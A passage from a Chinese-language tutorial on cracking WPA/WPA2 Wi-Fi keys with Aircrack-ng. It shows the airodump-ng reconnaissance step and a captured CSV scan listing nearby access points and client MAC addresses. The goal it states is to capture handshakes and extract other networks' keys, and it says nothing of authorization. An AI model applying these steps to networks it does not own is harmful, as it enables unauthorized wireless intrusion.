开启好,禁用词语模式之后,我们便使用Aircrack-ng套件里面的airodump-ng套件进行无线数据包的抓取,在这一步骤是整个破解过程比较重要的阶段;而其中我们要破解的关键点就是要获取AP与无线客户端的握手数据包(WPA/WPA2 shankhand)报文,然后对报文进行破解,从而提取出密钥,达到破解的木的。
首先,我们在对目的AP的攻击之前,我们要先要对无线网络信道进行探测,以便于确定攻击的目标信道和AP,再进行下一步的针对性的数据包抓取。
这是,我们可以使用下面的命令对信道数据进行侦查:airodump-ng wlan0
airodump-ng 工具是用于获取当前无线网络的概况,包括AP的SSID、MAC地址、工作频道、无线客户端的MAC以及数量等情况,后面跟上的是无线网卡的设备名。
BSSID, First time seen, Last time seen, channel, Speed, Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, ID-length, ESSID, Key
B0:D5:9D:3B:B7:84, 2015-09-22 17:26:52, 2015-09-22 17:27:13, 11, 54, WPA2, CCMP,PSK, -91, 4, 0, 0. 0. 0. 0, 29, 瀵..8涓6锛.甯.姣..浠ヨ.,
0C:84:DC:7B:BC:61, 2015-09-22 17:26:27, 2015-09-22 17:27:11, 1, 54, WPA2, CCMP,PSK, -86, 27, 0, 0. 0. 0. 0, 4, mini,
00:87:36:0F:50:2F, 2015-09-22 17:26:27, 2015-09-22 17:27:07, 1, 54, WPA2, CCMP,PSK, -86, 10, 0, 0. 0. 0. 0, 3, kfc,
60:36:DD:DD:D8:59, 2015-09-22 17:26:37, 2015-09-22 17:27:14, 11, 54, WPA2, CCMP,PSK, -85, 15, 0, 0. 0. 0. 0, 3, zwz,
72:54:99:D1:73:D8, 2015-09-22 17:26:28, 2015-09-22 17:27:12, 2, 54, WPA2, CCMP,PSK, -83, 46, 0, 0. 0. 0. 0, 15, DreamBox_D173D8,
00:1F:64:E0:20:E9, 2015-09-22 17:26:27, 2015-09-22 17:27:13, 3, 54, OPN , , , -77, 58, 0, 0. 0. 0. 0, 8, CMCC-WEB,
00:1F:64:E1:20:E9, 2015-09-22 17:26:27, 2015-09-22 17:27:13, 3, 54, WPA2, CCMP, MGT, -77, 62, 0, 0. 0. 0. 0, 4, CMCC,
D4:EE:07:20:0A:5A, 2015-09-22 17:26:27, 2015-09-22 17:27:11, 1, 54, WPA2, CCMP,PSK, -76, 49, 0, 0. 0. 0. 0, 6, WXWiFi,
3A:67:B0:71:FD:1D, 2015-09-22 17:26:30, 2015-09-22 17:27:14, 11, 54, WPA2, CCMP,PSK, -75, 82, 0, 0. 0. 0. 0, 13, LieBaoWiFi819,
2C:D0:5A:FB:B5:28, 2015-09-22 17:26:29, 2015-09-22 17:27:14, 10, 54, WPA2, CCMP,PSK, -69, 65, 37, 0. 0. 0. 0, 24, ...澶х.峰氨缁.浣.,
48:5A:B6:D9:1F:11, 2015-09-22 17:26:29, 2015-09-22 17:27:14, 11, 54, WPA2, CCMP,PSK, -65, 88, 0, 0. 0. 0. 0, 12, 360WiFi-8317,
00:36:76:36:EF:A7, 2015-09-22 17:26:27, 2015-09-22 17:27:13, 6, 54, WPA2, CCMP,PSK, -61, 95, 0, 0. 0. 0. 0, 13, 缁...~..韬,
D2:7E:35:A3:87:2A, 2015-09-22 17:26:30, 2015-09-22 17:27:14, 11, 54, WPA2, CCMP,PSK, -50, 31, 0, 0. 0. 0. 0, 3, gun,
Station MAC, First time seen, Last time seen, Power, # packets, BSSID, Probed ESSIDs
D4:0B:1A:69:34:00, 2015-09-22 17:26:40, 2015-09-22 17:26:40, -90, 8, (not associated) ,
9C:65:B0:0F:9D:3A, 2015-09-22 17:27:01, 2015-09-22 17:27:01, -88, 4, (not associated) ,
60:36:DD:DD:D8:59, 2015-09-22 17:26:52, 2015-09-22 17:26:53, -87, 3, (not associated) ,
48:D2:24:1C:A1:B5, 2015-09-22 17:26:36, 2015-09-22 17:26:36, -85, 1, (not associated) ,
70:72:3C:ED:DE:1D, 2015-09-22 17:26:38, 2015-09-22 17:26:45, -84, 4, 0C:84:DC:7B:BC:61, mini
90:E7:C4:83:7E:66, 2015-09-22 17:26:37, 2015-09-22 17:27:08, -81, 6, 00:87:36:0F:50:2F,
38:BC:1A:21:D0:5B, 2015-09-22 17:26:30, 2015-09-22 17:27:01, -74, 18, 3A:67:B0:71:FD:1D,
BC:85:56:DD:84:54, 2015-09-22 17:27:02, 2015-09-22 17:27:02, -74, 9, (not associated) ,
48:5A:B6:D9:1F:11, 2015-09-22 17:26:55, 2015-09-22 17:27:03, -67, 13, 3A:67:B0:71:FD:1D,
60:D9:A0:A9:51:9C, 2015-09-22 17:26:34, 2015-09-22 17:26:48, -58, 23, 2C:D0:5A:FB:B5:28,
30:C7:AE:A5:F5:02, 2015-09-22 17:26:40, 2015-09-22 17:27:09, -51, 11, 2C:D0:5A:FB:B5:28,
上面是抓去无线环境的一个csv输出报文,可以从上面的信息中,清晰看到BSSID、信道、信道速率、认证方式、ESSID,还有红色部分的分别有station(无线客户端)MAC,packets的个数,BSSID(连接AP的MAC地址),ESSID等信息。